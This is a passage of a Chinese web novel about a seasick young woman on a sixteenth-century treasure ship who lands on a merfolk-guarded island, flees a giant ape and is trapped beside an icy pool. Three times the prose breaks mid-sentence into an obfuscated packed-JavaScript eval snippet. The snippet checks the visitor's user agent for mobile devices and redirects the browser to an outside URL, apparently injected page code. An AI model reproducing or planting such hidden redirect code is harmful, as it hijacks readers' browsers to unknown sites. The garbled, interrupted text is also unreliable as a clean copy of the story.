徐宝珠白着脸,望着皮靴上的一团脏污,顿时眼冒金星,她抠着门板,小心翼翼地抬头去看水手长的脸色。 她瞧瞧抬起头,果不其然看见了一张铁青的脸,水手长气得胡子根须都在抖动,他闭眼冷静了片刻,指着脸色不太好的徐宝珠语气激动道:“你今天负责收集昨天收到的雨水和露珠!” 他一说完,周围围着看热闹的船员都看好戏一样笑了起来。 一时间,嘲笑欢呼的笑声响遍了整个二层甲板。 今天海上倒是没下暴雨,只不过仍旧是阴沉沉的天空。 徐宝珠站在甲板边上,手臂攀着船板歇息,她双目无神地望着黑压压的大海,脑子里居然涌起一股想跳下去的冲动。 跳下去就不会再头疼了,心里的那道声音对她说。 她身体压在船板的栏杆上,眩晕呕吐不断冲击着她的大脑,她低头盯着大海,忽然,一道灵活的身影在黑沉的海中一掠而过。 她诧异地睁大了眼,那道身影在深海当中极其灵活,仿佛在陆地上一样自在。 然而那道身影只是一闪而过,随即就消失在茫茫大海当中,徐宝珠揉了揉眼,沿着甲板走了好几圈,它也没有再出现。 是鲛人吗? 徐宝珠心里沉沉,出于昨晚在玉佩那里得到的记忆,她现在对非人类生物都充满了警惕。 “又偷懒!”耳边忽然传来一道熟悉的调笑声音。 她转过身,发现是德林。 德林倚着桅杆,帽檐下的脸神色倦怠,碧绿的眼珠满是困意,即便如此,他还是要专门留在这里嘲笑徐宝珠。 徐宝珠撇嘴,不想理会这人,德林好像专门和她过不去一样,每天都要来招惹她。 她扭头就走,打算回去继续收集雨水。 “诶!” 见她不理自己,德林突然上前抓住她的胳膊,塞给她一个东西。 徐宝珠愣住了,她摊开手,发现是两片三角形的树叶,她伸直手心递到他眼前,问德林,“这是什么?” “你不是晕船吗?”他手揣在兜里御寒,示意她试试这个。 原来他看见自己晕船的样子了。 徐宝珠盯着手里的叶子,有些迟疑,眼前这人给她留下的印象不太好,她不敢轻易相信。 她眼中的怀疑毫不隐藏,德林轻轻嗤笑一声,他伸手从她手里拿出一片,在她眼前晃了晃,随后毫不犹豫地塞进嘴里嚼。 “呵,晕船晕成这样,还敢出海,为了宝藏连命都不要了。”他一边讽刺徐宝珠,一边转身下甲板。 一直到他的背影消失,徐宝珠才缓缓把草药塞进嘴里嚼了,听起来,这个德林好像和顾客很熟悉? 德林给的药很管用,当徐宝珠吐出一团黑糊糊时,脑子里颠来倒去的痛终于缓解不少。 她坐在上面的甲板一角,身边摆着好几个空木桶,她需要做的,就是把昨晚铺在地上的船帆上留下的雨水倒入木桶中。 船帆又大又重,打湿后比干的时候还要重两倍,徐宝珠最开始没有预计重量,浪费了好几个帆布,甲板上洒了一地的雨水。 水手长过来检查时,踩着满地的水差点滑倒,气得罚她不准吃午饭。 她皱着眉头把床单拧成一股绳,泄愤似地把上面的冷凝水扭干,水顺着布料滴落进桶里,她望着木桶里浑浊的半桶水,想着一上午又白干。 下午的时候,海面起了大风,航海长拿着罗盘站在船头辨别方向,他神情严肃,紧紧扭着眉在船头来回走。 徐宝珠在他背后看了一会,忽然觉得不对劲。 越来越多的水手都围了过去,个个都拿出了看家的本领想在航海长面前露一手。 徐宝珠挪动到他们附近,谁知刚靠近船板,就被骤然掀起的海浪浇水了个透心凉,她整个人瞬间僵住,呆滞地抹了把脸上的海水。 再往旁边一看,几个水手都是这副湿漉漉的模样。 “出什么事了?”她找挨得近的一个水手搭话。 水手瞥了她一眼,敷衍道:“你没看出来咱们在海上失去方向了吗?” 徐宝珠双目闪过震惊,她目光看向船只四周黑压压的海水,天色阴沉,没有太阳,根本分不清方向。 她回头看着甲板上来回不停走着的水手,他们嘀嘀咕咕地嘴里念叨着什么,像是一群无头苍蝇般凌乱。 徐宝珠握着栏杆,开始在脑中回想昨晚接受到的记忆有没有漏掉的地方。 按理说,在恐怖故事里,船只迷失方向这种应该属于征兆。 “嘿,快看!” 这时,她对面的一个水手忽然手舞足蹈起来,并且大声呼喊着旁人过去。 徐宝珠连忙随着人群过去,她顺着水手指着的方向,果然看见了漂浮在大海中央的一座石岛。 石岛像是凭空出现在海面上的,岛上错落有致,树影斑驳,从船上根本看不见岛中的情形。 航海长声音沙哑,手臂因为紧张而变抖动着,他颤抖着怕打身边水手的肩膀,让他快点去叫船长过来。 “好……好!”水手连忙口不择言地应声,脚步飞快地冲下甲板。 看着航海长平静眼里难掩的喜悦之色,徐宝珠敛眸,目光疑惑地落在逐渐靠近的石岛上。 航海长这副激动的样子,只会是一个原因……他找到了宝藏的藏地。 徐宝珠再联想到上午在海中看见的一闪而过的身影,她不禁错愕,这难道是鲛人岛?! 她正思索着,甲板上传来了许多急促的脚步声,哒哒地踩着木板楼梯往上层来。 除此之外,许多地下两层的船员也都纷纷跑到上面来看热闹,大伙把船板栏杆堵得水泄不通,指着对面的石岛叽叽喳喳地说话。 她还在人群里看见了跟在最后面的乔琳和贝妮塔,她们正探头探脑地盯着船外,想看清大家口中的宝藏什么样。 “快让我看看!”马修踏着兴奋的步子,刚上甲板就推开了甲板上围着的船员们,他脚步飞快地走到船边,拨开几个水手。 待他真的看见了几十米外漂浮着的石岛时,马修沧桑的脸上激动上热泪盈眶,他布满沟壑的大手在栏杆上不住地拍打,嘴里念念有词,“好!好啊!” 马修把脸上的头发拂到额后,露出光洁黝黑的额头,他转过身看着甲板上看过来的船员,眼里难掩兴奋。 他抬手示意大家安静下来后,马修目光隐忍地回头瞧了一眼不远处的石岛,对着甲板上几十个人好奇的目光,缓缓开口。 “大家都知道,我们这一趟行程就是为了寻找传说中的宝藏而来,数十年来,无数船长出海寻找,都被波莫尼大海吞没,再也没回来,然而大家看……” 他神情激动地指着身后的石岛,语气高昂地道:“我马修,今天终于找到了传说中被鲛人守护的石岛!我,还有你们在座的每个人,都会在历史上永远留下姓名!” “哦!哦!” “船长英明!” 他话一出,甲板上的船员们纷纷举起手边的东西欢呼。 徐宝珠站在人群中,抱着手臂不语,她望着逐渐逼近的石岛,心里那股不安越发明显。 现在想来,她上午看见的那抹身影,应该就是鲛人。 鲛人这种非人类生物,真要去抢它守护的宝藏,那不是自己找死吗? 徐宝珠暗自忖度,她得想个办法留在船上。 兴奋过后,航 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526656|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海长这才注意到马修是一个人上来的,他往马修左右看了看,疑惑道:“船长,您的助理呢?” 马修正和大副商量把船停靠在石岛的那一侧合适,闻言,他指了指二层甲板的单人船舱,“他发高热,还躺在床上昏迷不醒。” 大副听了,拧着眉心关切道:“要不要再吃点药?” 马修不甚在意地摇头,“船上资源紧张,没必要浪费在一个死人身上。” 徐宝珠被马修凉薄的话唬住,明明吃药就能好起来的事,马修却宁愿眼睁睁地看着人死掉也不救他。 马修下了命令后,船只朝着石岛加速靠近,离得越近,石岛的身影逐渐变大,形状渐渐清晰,船上的人也都看清了岛的外观。 岛的四周由无数块碎石拼接构成,中间则是两块百米高的大石头连接而成,四处都生长着大树,严严实实地挡住了岛内的模样。 岛中气候湿润,白雾从树林里弥漫出来,渐渐密布整个岛,这些白雾使得石岛又平添了几分神秘。 船只沿着岛走了一圈,也没能窥探到岛内的景色,整座岛呈陀螺仪的形状,掩藏在海面下的部分,和山顶细小,中间岛的主干部分,宽阔复杂。 马修不甘心地又下令绕了两圈,还是没找到入口,他望着黑压压暗沉的天空,不甘心地拍了两下栏杆,下令停靠在岸边整顿,明天一早再上岛。 傍晚时,徐宝珠跟着几个水手去领晚饭。 他们一直下到最底层的甲板,绕过昨天徐宝珠看见的木桶,走过长长的甲板,她终于看见不远处冒出来的烟雾和热气。 乔琳和贝妮塔站在灶台旁边分发热好的食物,徐宝珠探出头往灶台瞧了一眼,说是灶台,其实就是用砖块和泥土砌起来的一个简易火柴灶。 在灶台炉中,木柴被烧得红通通的,隔着很远就能感受到热意,木柴底下散落着许多的木灰,可以看出这座灶台已经燃烧了很久。 火堆上搭着三角铁架,架子上挂着铁锅,锅里装着满满的水,正咕嘟咕嘟地往外冒着香气。 闻着鱼肉的味道,徐宝珠不由得吞咽口水,她摸了摸空瘪的肚子,虽然才一天没吃饭,可她已经饿得饥肠辘辘,只想快点排队领到食物。 乔琳接过餐盘,余光瞥见徐宝珠后,原本盛起来两条腌制鱼的手臂忽然抖了抖,小臂长的鱼瞬间从汤勺边缘掉回桶里。 徐宝珠诧异地望着桶里溅起的汤水,她扭头冲乔琳道:“你故意的!” 乔琳耸了耸肩,把盘子摔倒她面前,“你爱要不要,下一个!” 徐宝珠忿忿地瞪着她,但她的目光在左右瞧了一圈,发现没有人愿意站出来帮她说话,大家一接触到她的眼神就低下头避开了。 她想了想,自己一个人还是不要惹事比较好。 她取走餐盘,转头不去看乔琳满脸得意的模样。 等人走远后,贝妮塔才侧过身子,轻声斥责,“你为什么一定要针对徐?” 乔琳歪着脑袋,汤勺在桶里使劲地搅拌,她回头大声道:“我就是看不惯她这副孤傲的样子!以为自己比谁都厉害!” 她嗓门大,一说话,甲板上的人都朝着这边看了过来,贝妮塔缩了下肩,乔琳这副固执的样子,她也没有办法。 底层甲板上人多,空气混杂,于是徐宝珠端着餐盘回到了二层甲板的船舱。 她抄着近道,从甲板的另一侧上去。 路过两间单人船舱时,其中一间船舱里,忽然传来男人痛苦的呻吟声,声音压抑难受,不时还夹杂着几分哀嚎。 徐宝珠在门口停下脚步,望着半掩的舱门,她不知哪来的勇气,居然把脑袋伸了过去,从窄窄的门缝里查看屋内的情形。 屋里除了一张床外,还有两个人站在床边说话。 她转动眼珠,仔细一看,发现正是马修和大副。 马修抱着胳膊,望着床上的男人,叹了口气,“他这样,看来熬不过明天了。” 大副眼底闪过一丝不忍,“可惜,他还是没能等到回岸的那一天。” 两人说完,齐齐地长叹一声。 徐宝珠听完两人的话,有种听阎王在给上帝讲解道德经的荒谬感。 她目光往下,顺着床尾往上,落到男人骨瘦如柴的手,纸片一样苍白瘦削的五指,光是抓被子的功夫,仿佛就耗尽了最后一丝力气。 她站的位置,正好挡住了男人的脸,只能听见他微弱的气息,他静静地躺在单薄的木箱床里,仿佛正在等待死亡的来临。 5. 上岛 一大早,甲板上就站满了船员。 马修站在船头,照例在说一些鼓舞大伙的话。 徐宝珠站在人堆里,抬手放在额前,试图挡着天上热气冲天的太阳。 听说今天会是个大晴天后,她起床的第一件事,就是把穿了两天的湿衣服换下,然后挂到船舱靠近窗户的地方,想让太阳晒干。 德林从后面挤到她附近,他目光落在徐宝珠挡太阳的手上,嗤笑一声,“这么怕晒当什么水手?” “你有完没完?!” 徐宝珠不耐烦地瞥他一眼,即便德林给了她防晕船的药,她也受不了这人整天嘲讽自己。 她语气里的不虞很明显,德林摸了摸鼻子,不再自讨没趣地开口。 这会,马修的讲话到了尾声,他环顾了一圈底下熙熙攘攘的脑袋,开口问,“你们谁愿意跟我一起下船,去岛上找宝藏?” 热闹的人群里顿时安静下来,刚才还有说有笑,现在一听要上岛,都畏缩地不肯开口。 徐宝珠眼神到处晃了一圈,暗暗佩服,原来大家都不是傻子,知道上岛有危险。 “你!” 忽然,马修目光笔直地射向她,他伸手指着徐宝珠,向她招手。 徐宝珠诧异地指着自己,她怀疑马修是疯了,放着这么多优秀有经验的人不要,他居然指名要徐宝珠上岛。 “对,就是你!” 马修抚掌大笑,他望着走到身旁的徐宝珠,笑着和底下人解释,“徐可是一位优秀的女水手,我在这次航行前就跟她有过多次合作,每次都会被她丰富的经验所震惊。” 徐宝珠站在一边愣愣地点头,她现在是挺震惊的。 马修拍拍徐宝珠的肩膀,继续说:“徐一个女人都站了出来,你们这群大男人不会不敢吧哈哈。” 徐宝珠脸一沉,马修这是拿她做靶子,来激水手们了。 果不其然,马修的激将法很有效,底下的人一听这话,立马就叫嚣着不能输给一个女人,纷纷报名要上岛。 经过这一遭,没两分钟就报满了上岛的人数。 水手长站在排好队的船员前,挨个点名数人数,“二十七,二十八,二十九……嗯?” 他神情微顿,抬头冲马修喊道:“船长,还差一个!” 马修抬头,在剩下的船员里喊了一声,“还有谁愿意上岛?!” 剩下的大部分都是上甲板看热闹的厨娘们和少部分年纪大了的船员,他们左看右看,踌躇着没有站出来。 “我加入。” 一群人互相看来看去,最后还是角落里响起一道男声。 徐宝珠闻声看过去,她诧异地挑眉,居然是德林。 德林叭叭抽掉最后两口烟,他把烟头甩在地上,用脚尖碾灭上面没燃尽的火,走出来重复了一遍。 “哟,没看出来啊,德林,你向来都是能躲就躲的人,居然肯主动站出来。” “就是,难不成你也想去找宝藏?”徐宝珠身边的几个男人似乎和德林很熟悉,看见是他站了出来,都打趣道。 德林没理他们的调侃,他直接站到队伍里面,用沉默表示了自己的态度。 清点完人数之后,水手长给每个人都分发了至少两天的食物,递给徐宝珠时,他顿了一下,无言地多塞了两条腌鱼。 徐宝珠惊讶地接过沉甸甸的布袋,她盯着水手长的背影,有些感慨。 临出发前,水手长下令每个人都要检查一遍自己带的武器。 徐宝珠在腰腹上摸了半天,终于摸到一把手臂长的弯尖刀。 她取下刀,握着手柄仔细打量,等看见刀把上的机关时,徐宝珠这才发觉这居然是一把手枪军刀。 意识到这点之后,她顿时手脚都变得局促起来,生怕自己不小心把自己崩了。 排队下船时,德林走在她身后,见她手脚别扭,仿佛在刻意躲避着腰腹部分,他心头忽然冒出一个坏主意。 只见德林三两步跑到她旁边,手指弯曲在她的刀上重重磕了几下,尖刀顿时发出清脆的响声。 “你干什么?!”徐宝珠吓得立马抱着刀飞快地往后大退几步,她转过身满脸怒气地瞪着德林,气得大吼。 周围的水手听见动静,都停下脚步好奇地看了过来。 德林见她像刺猬一样警惕地盯着自己,他抬手示意她冷静下来,“我只是开个玩笑,你不要生气,这把刀没你想的那么脆弱。” 她还是不信,德林瞧见了她眼中的不信任,于是掏出来自己的刀,当着徐宝珠的面重重弹了两下,然后对她挑眉,“你看?” 徐宝珠见果真没事,她提着的心才稍稍松下,她脸色不太好,紧抿着唇转身没理德林。 徐宝珠踩着脚底的碎石,小心翼翼地走上岛和其他人汇合。 船只停靠在一处山崖边靠海的海滩旁,每个人下船后都要先踩着浸水的石头上岸,然后才能上岛。 徐宝珠穿着长筒牛皮靴,皮靴防滑防水,她踩着海缓慢地上岛,然后在岸上抖了抖鞋边沾到的泥土。 马修和大副正商议着先派小部分人进去岛中查看情况,一旁的水手长却说,石岛情况复杂,人少了可能会遇到危险,不如全队一起出发,到时候也能互相帮助。 马修听了他的话,觉得有道理。 但大副仔细思考之后,觉得他的提议还是不行,他捻着胡须指着石岛说:“这座岛面积大,里头情况复杂,要是我们全都一起进去,可能要花上半个月的时间才能探索完。” 马修皱眉,“你说怎么办?” 大副指着他们身后几十米高的石壁道:“不如分成三队,十个人一队,分别由我们三个带队,每天日落前都在这个地方汇合。” 说完,马修也同意了他的观点。 他们三人从怀中掏出怀表对了下时间,大副道:“七点之前,一定要回这里。” 马修把三十名船员分成三队,分别从石壁两侧,以及绕过石壁再往前继续找路进岛。 徐宝珠运气好,被分到了马修这一队,他抢先开口要了就近的石壁左侧的这条路,然后不等其余两人回应,就带着队伍准备进岛。 从进岛开始,马修就显露出了比往日更加狂热的情绪,他手里拿着一张牛皮纸绘画的地图,不断在岛中辨认着方向。 徐宝珠偶然窥得一眼,上面弯弯绕绕地画着凌乱的线条,她看一眼就觉得头疼,马修居然能看懂? “不是说从没有船找到过这座石岛,船长是怎么得到这张地图的?”徐宝珠满腹疑问,还是没忍住找旁边人打探。 那人瞧了一眼马修远远的背影,摇头,“不知道。” 马修听见了他俩的对话,他慢下脚步,转头跟徐宝珠解释,“在宝藏的传说里,鲛人世代守护着这座岛和宝藏。” 他意味深长地看了她一眼,“你说,除了鲛人,谁还能比它们更了解这座岛?” 徐宝珠表情逐渐僵硬,她呆傻地拄着地上捡的木条,傻愣愣地开口,“你是说,这份地图是鲛人传出来的?” 马修却否认了她的话,他背对着众人,走在最前面,声音远远地传来,“这也是传说里的一部分,谁知道真假呢,再说了,这份地图也不能完全对得上。” 徐宝珠脑子里一团雾水,如果不是鲛人给的地图,那么数十年间,一定还有其他人找到过这座石岛。 不对不对,她摇头否决了自己的观点。 要是真有人到达过这座岛,那他还能对岛上的财富不心动? 可是近些年也没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526657|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过那位船长暴富,想来要不传说是假的,要不地图是假的,总之,她对这趟上岛之行不抱任何希望。 进岛之后,里头的雾气更加浓密,时值夏季,岛内空气湿润,白雾中偶尔有几缕光线透进来,有几分类似于热带雨林的气候。 岛里到处都是蚊虫,不一会,队伍里就传来了啪啪的打蚊子声。 徐宝珠扯下衣服的布料,把脸挡住防止蚊虫叮咬。 越往里走,岛内就越发寂静,先前还能听见几声鸟叫,这会就只能听见大伙的脚步和喘气声。 四周都是高大茂密的树丛,小队走在靠近小溪边的一条石子路上,小溪泉水叮咚,听上去格外悦耳。 徐宝珠舔了舔干枯的嘴角,她见周围人眼中都是同样的渴望,于是主动开口提,“船长,我们能不能装一点水?” 马修抱着胳膊,眼神掠过众人,在大家期望的眼神中缓缓摇头,“小溪里的水也是大海里流出来的,都是咸水,喝了只会越来越口渴。” 徐宝珠听了,眼里的光顿时黯淡下去,她抬头四处打量,马修说得对,石岛四面都是海,哪里来的淡水? 有人不信马修的话,飞快地跑到溪边趴下,直接张嘴含了一大口,顿时被咸得脸色难看,他吐出溪水,这才乖乖地回了队伍。 马修也不生气,他望着对面的两座高山,宽慰大家,“翻过这座山,也许会有淡水。” 大家顶着烈日走了一上午,都口干舌燥的,连回应他的力气也没了。 鲛人岛从没被人开发,因此,想要进入岛的中心,就必须亲自翻过山。 当马修说他们要翻山的时候,队伍里已经有人显露出退意,但他看着马修兴奋的模样,还是没敢开口。 队伍短暂地休整了一会,就由马修带头领着上山。 山里白雾缭绕,即便是下午也丝毫没有消散的样子,走了一会,每个人都汗流浃背,身上的衣服全被汗水湿透了,偏偏气候还是闷热得要命。 徐宝珠抬手拂开黏在额上的发丝,她累得气喘吁吁,连说话的力气都没了,一路上只能不停地调整气息。 大家都不知道时间的埋头走着,马修一会指着左边的小路,一会又说走过了,总之,反反复复地来回折腾。 这下,徐宝珠更加怀疑这份地图的真实性了。 眼见时候不早了,她便开始琢磨着怎么开口提出回去。 她磨蹭到马修旁边,见他正在低头研究地图,徐宝珠沉默了两秒,刚开口,不远处忽然就传来了异响。 众人纷纷举起枪对准异响的来源,一片橄榄林后面。 马修顿时揣好地图,推开她掏出了枪,他小心翼翼地对准橄榄树,另一只手示意大伙悄悄后退。 徐宝珠混在人堆里,像模像样地举着枪,其实她根本不会开枪,要是真有什么危险,只能撒开腿跑。 对面的异响还在继续,整片橄榄林的枝叶都在飒飒作响,就连树顶都在摇晃。 碧绿的橄榄叶里,忽然闪过一抹红色,众人惊诧,随即那抹红色越来越明显,直到它露出真容。 一只体型高达三米的巨猿?! 马修睁大眼睛,立马下令,“后退!后退!” 然而还是有人因为害怕而擅自开了枪,枪声惊吓到了眼前的生物,它从鼻孔里狠狠地呼出气,忽然暴怒地捶打着胸口。 众人见状,立马往山里逃跑。 巨猿紧追不舍,偌大的脚步声踏在地上,整座山仿佛地动山摇一般剧烈地震动起来。 大家都害怕被巨猿追上,拼了命地往前跑,不一会就被复杂的地形瓦解,四散开来。 徐宝珠留了个心眼,她往下山的方向跑,虽然不知道哪边是来时的方向,但她一路往下,总能到达地面。 6. 水潭 她一路疾驰在湿润复杂的山林里,徐宝珠按住不断剧烈跳动的胸腔,脑子里只剩下一个逃字。 她听着耳边嗬嗬的风声不住地跑,脸上的布条早已经路边的枝丫刮掉,露出一张惨白的脸。 “啊!” 地上不知哪里冒出几根藤蔓,棕色的藤条隐藏在枯树叶当中,徐宝珠一踩上去瞬间就被绊住摔倒,她站的地方刚好是个小斜坡,失去平衡之后就颠倒着朝着地面滚落下去。 徐宝珠试图抓住路边的树枝停下来,然而这里的树早就是枯死的,稍微一碰就风化碎掉。 她傻眼地盯着手中的枯枝,哭丧着脸丢掉后抱着身子弯曲,想让自己收到伤害的面积减小。 她抱着脑袋,不知道自己滚落到了哪里,一直到停下来的时候,徐宝珠都没敢睁开眼,她静静地躺在地上,忽然听见耳边有流水的声音。 徐宝珠松开手,缓缓睁眼,入目的便是四方的天,她疑惑地坐起来,四处环顾了下,发现自己竟然掉到两座山里的一处小潭旁边了。 她打掉身上粘着的树叶,站起来打量着这片幽静的潭水。 这条潭呈圆形,长宽都不过十米,潭面平静,幽绿的潭水里隐隐泛着黑,看着格外瘆人。 她下意识地往后退了两步,后背贴上冰凉的石壁,徐宝珠抬手摸了摸,果真冰冷。 她惊奇地看着眼前的石头,现在不是夏天吗?这里的石头居然是冰的? 她又尝试着去摸其他的石壁,结果触手都是同样的冰冷,徐宝珠不禁讶异,难不成这里是天然的冰窖? 这方潭的四周都是三米高的石壁,石壁上密密麻麻地生长着翠绿的爬山虎,墨绿的藤蔓攀岩整片石壁,枝条怪异地在石壁上扭曲成各种诡异姿态。 对岸的一角露出一个手臂宽的缝隙,窸窸窣窣的水声正是从那里流出来的。 这方潭被石壁包裹得严严实实,要不是她碰巧摔进这里,怕是谁也找不到这儿。 徐宝珠只是站了一会,就觉得浑身阴凉,她搓了搓手臂生温,有些瑟缩地四处张望,想着赶快离开这里。 她沿着潭水边转了一圈,回到她摔下来时铺了满地的枯叶那里,试图找到出去的路。 然而奇怪的是,徐宝珠明明沿着枯树叶残留的痕迹往外走,却被一块突如其来的大石壁挡住了路。 她伸手推了推坚固的石壁,望着脚下突兀断掉的痕迹,心里的不安通通涌了上来。 徐宝珠退回潭边,这会儿比刚才更冷了,不仅石壁冰凉,就连潭水也都隐隐散发着一股森冷。 她目光迅速地扫视了一遍四周的大石壁,脸色越发难看,这里的石头像是生出来自主意识,紧紧地挨着,把她和潭水都挡在其中,分明是要把她困在这方潭。 徐宝珠背贴着石壁,试图站到离水潭最远的地方,然而不管她再怎么躲避,也只不过离潭边十米而已。 眼看天色越来越晚,周遭的雾气也都升了起来,水潭的上方逐渐聚齐了一团密密麻麻的白雾。 徐宝珠把这一切尽收眼底,她掏出腰间的弯刀,待摸到冰凉的枪管时,她才猛然想起自己有枪! 徐宝珠冰凉苍白的脸上闪过一丝喜色,她哆哆嗦嗦地研究着怎么开枪。 她把枪支翻来覆去地研究了好几遍,然而这只十六世纪的枪支实在是复杂精致,她捣鼓了半天也不知道怎么打开。 于是,徐宝珠决定先不管不顾地扣动扳手,朝天上打一枪定位再说。 她举起尖刀,把枪口对准天空,手指勾着扳手,然后眼睛一闭,心一横地往下扣。 “砰!” 枪的声音惊得四周树上的鸟纷纷扑腾着飞走,引起一阵树影摇晃。 接下了就是等待,等待马修他们发现响声,然后找到自己。 伴随着弹药的发射,一阵烟雾从枪管缓缓升起,徐宝珠呛得咳了好几声,她边咳边伸手扇。 闻着熟悉的硝石味,徐宝珠扇风的动作一顿。 她隐约记得,有一款老式枪支是用□□点燃的,要是有□□,她就能生火了。 想到这里,徐宝珠取下腰间系着的袋子,在水手长给的布袋里一顿摸索,终于在袋子的最底部摸到了一个尖尖的木头。 她拿出木头,发现木头做成了月牙的形状,棕色的木头,上头尖,下头宽,尖锐的部分被锯开,然后用木头塞子堵上。 徐宝珠把木头拿在手里摇了摇,里头确实传来了粉尘晃动的声响。 她取开塞子,果真在里面发现了半筒的□□。 徐宝珠眼里顿时涌出笑意,她思索了下,决定趁着天还没完全黑的时候先把火生起来。 然而当她把地上的枯树叶都收集起来堆成一个小包后,却发现这点叶子根本燃烧不了多久。 徐宝珠想,万一马修他们迟迟不来,眼看天就要黑了,她总不能摸黑在这怪异的地方待一晚上。 至少要找到可以支撑一个晚上的木头。 她这样想着,目光在水潭附近观察着,对岸的大石壁离水潭很近,几乎只有十厘米的距离,潭边沿着石头根长了一圈苔藓,一个不小心就会滑到潭里,根本不能站人。 她放弃了绕到对岸的想法,老老实实地观察起自己在的这边。 她发现附近虽然都有大石壁阻挡着不能出去,但她的右手边居然悄无声息地长着一棵一米多高的芭蕉树。 芭蕉树生长得枝繁叶茂,虽然叶片不能点燃,但宽大的叶片好歹能盖着御寒。 她说干就干,徐宝珠握着尖刀把手,径直朝着芭蕉树走去。 她站在树根前,打量着从哪里下手。 芭蕉树旁边还有几根枯萎的树干,和她滚下来时抓住的树枝一样脆,轻轻一扭就断。 徐宝珠拾了一堆干木柴,地上捡的,树上劈的,零零散散大概能燃很久。 她把柴抱回去放在石壁底下,又转身去砍芭蕉叶。 她懒得爬树,干脆就砍了几片底下的叶子,连着叶片的梗一起砍下来,没一会叶片就在脚边堆积如山。 数了数叶片数量,想着够了,她就收刀准备回去。 徐宝珠蹲下抱着一堆大芭蕉叶起身,她刚想离开,头顶却被突然掉下来的什么东西砸中,痛得她不住皱眉。 她目光移向掉落在地上的黄芭蕉,巴掌大的小芭蕉,熟透了后从枝上掉下来,正巧砸在她脑袋上。 她抬头看向芭蕉树深处,被层层宽大芭蕉叶挡着的最里面,果不其然结着一串金黄的芭蕉。 她安静了几秒,脑子里缓慢地涌上一股欢喜。 吃多了腌制鱼肉,能吃上香甜的芭蕉简直是走远! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526658|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 徐宝珠提着尖刀转头就把这串熟透了的芭蕉串砍下来,她小心翼翼地把芭蕉放在芭蕉叶上,吃了几个填饱肚子后就开始生火。 她把所有东西都堆放在离水潭最远的石壁旁,然后把木棍垂直插进已经划出一个凹槽的木板里面,双手快速搓动木棍打算钻木取火。 徐宝珠原先只在电视和课本上听过钻木取火这个词,直到她真正实施起来才知道有多难。 她膝盖跪在地上,身体前倾挡住水潭附近的阴风,两只手握着木棍搓了半天,也没有丝毫要燃起来的意思,就连白烟都没冒。 “嘶……” 徐宝珠轻呼出声,她甩了甩两只手,搓木棍时间久了,两只手掌的虎口红肿,轻轻一碰就疼。 她又往凹槽里放了许多的枯树叶,直到凹槽里的□□快被枯树叶给淹没了才停手,她丧气地甩了木棍,盯着简易的取火装置犯难,“到底是哪里出了问题。” 她斜眼瞧着凹槽里的火药,忽然想起来她好像弄混了火药的概念,这时代的□□不能像燧石那样摩擦点火,而是通过在枪管里的高压爆炸来达到伤人的目的。 也就是说,光是□□根本不能生火。 想明白后,徐宝珠忽然起了一个大胆的念头,她感受着越来越冷的气温,下定决心般握紧枪站了起来。 她目光坚定,站起来后退几步,然后抬枪对准已经放好火药和枯树叶的木堆。 她抚摸着冰冷的扳手,目光如炬地对准目标,赌一把似地扣下扳手。 “砰!” 烟雾再度冒了出来,她握着鼻子,希冀地望着木堆里不停往外散的白烟。 她的眼睛一动不动地盯着这团烟雾,两秒后,一簇火猛地从树叶堆里蹿出来,连带着点燃了周围的枯叶。 徐宝珠顾不上高兴,她急忙走过去添了两根柴,把火烧得更旺些。 火焰将她的倒影映在地上,焰尾偶尔被风吹得晃晃悠悠,连带着地上的影子也随着摇晃。 已经深夜,徐宝珠靠着石壁坐着,她曲着膝盖,将自己抱成一团取暖。 这座石岛昼夜温差大得出奇,白天还是夏日炎炎,晚上仿佛入了冰窖,甚至还哈气都有白雾。 徐宝珠搓搓手,放在火堆旁烤热,一望无垠的夜空中连颗星星都没有,她望着天空,心底陡然生出几分悲伤。 她没想到有一天,自己居然会在中世纪的鲛人岛里过上原始人的生活。 “要是爷爷还活着就好了。” 她盯着火堆出神喃喃道,徐爷爷性格坚韧豁达,要是他也在这里,肯定会积极想办法找出路,而不是像她一样缩在这里等人来救。 暖黄色的火焰散发着温暖的气味,一层一层地包裹着徐宝珠,即便她拼命睁眼,还是抵挡不住潮水般的困意,最终松下戒备,靠着身后的石壁睡着了。 这一睡就是一整晚,直到天光微亮,身边突然响起窸窸窣窣的声音,来来回回在她附近跑了好几趟。 “烦死了。” 徐宝珠不耐烦地嘀咕了一句,下意识地以为是老鼠之类的动物,所以她眯着眼,连眼都懒得睁。 直到她放在膝上的手忽然被一道潮湿抚过,她才猛地惊醒。 徐宝珠反应迅速地逮住了那只手,睁开眼时,却看见了令她无比震惊的一幕。 7. 鲛人不是美人鱼 